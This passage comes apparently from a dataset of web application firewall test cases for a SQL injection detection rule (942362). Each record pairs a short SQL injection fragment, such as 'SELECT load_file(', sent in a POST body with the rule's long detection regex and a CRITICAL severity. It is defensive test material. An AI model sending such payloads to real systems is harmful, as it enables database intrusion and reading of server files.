"(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS t FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "(load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") as ExecuteTheseSQLCommands FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") AS schlagwoerter FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "` AS `documentType` FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "! As' from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "; As not from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT load_file(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "6 As\" from" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogram)|group|in(?:dex(?:type)?|memory|stance)|java|l(?:a(?:ngua|r)ge|ibrary|o(?:ckdown|g(?:file[\\s\\x0b]*group|in)))|m(?:a(?:s(?:k|ter[\\s\\x0b]*key)|terialized)|e(?:ssage[\\s\\x0b]*type|thod)|odule)|(?:nicknam|queu)e|o(?:perator|utline)|p(?:a(?:ckage|rtition)|ermission|ro(?:cedur|fil)e)|r(?:e(?:mot|sourc)e|o(?:l(?:e|lback)|ute))|s(?:chema|e(?:arch|curity|rv(?:er|ice)|quence|ssion)|y(?:mmetric[\\s\\x0b]*key|nonym)|togroup)|t(?:able(?:space)?|ext|hreshold|r(?:igger|usted)|ype)|us(?:age|er)|view|w(?:ork(?:load)?|rapper)|x(?:ml[\\s\\x0b]*schema|srobject)))\\b)", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942362", "test_description": "Detects concatenated basic SQL injection and SQLLFI attempts" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": ") as day1 FROM" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:alter|(?:(?:cre|trunc|upd)at|renam)e|de(?:lete|sc)|(?:inser|selec)t|load)[\\s\\x0b]+(?:char|group_concat|load_file)[\\s\\x0b]?\\(?|end[\\s\\x0b]*?\\);|[\\s\\x0b\\(]load_file[\\s\\x0b]*?\\(|[\\\"'`][\\s\\x0b]+regexp[^0-9A-Z_a-z]|[^A-Z_a-z][\\s\\x0b]+as\\b[\\s\\x0b]*[\\\"'0-9A-Z_-z]+[\\s\\x0b]*\\bfrom|^[^A-Z_a-z]+[\\s\\x0b]*?(?:create[\\s\\x0b]+[0-9A-Z_a-z]+|(?:d(?:e(?:lete|sc)|rop)|(?:inser|selec)t|load|(?:renam|truncat)e|u(?:pdate|nion[\\s\\x0b]*(?:all|(?:sele|distin)ct))|alter[\\s\\x0b]*(?:a(?:(?:ggregat|pplication[\\s\\x0b]*rol)e|s(?:sembl|ymmetric[\\s\\x0b]*ke)y|u(?:dit|thorization)|vailability[\\s\\x0b]*group)|b(?:roker[\\s\\x0b]*priority|ufferpool)|c(?:ertificate|luster|o(?:l(?:latio|um)|nversio)n|r(?:edential|yptographic[\\s\\x0b]*provider))|d(?:atabase|efault|i(?:mension|skgroup)|omain)|e(?:(?:ndpoi|ve)nt|xte(?:nsion|rnal))|f(?:lashback|oreign|u(?:lltext|nction))|hi(?:erarchy|stogra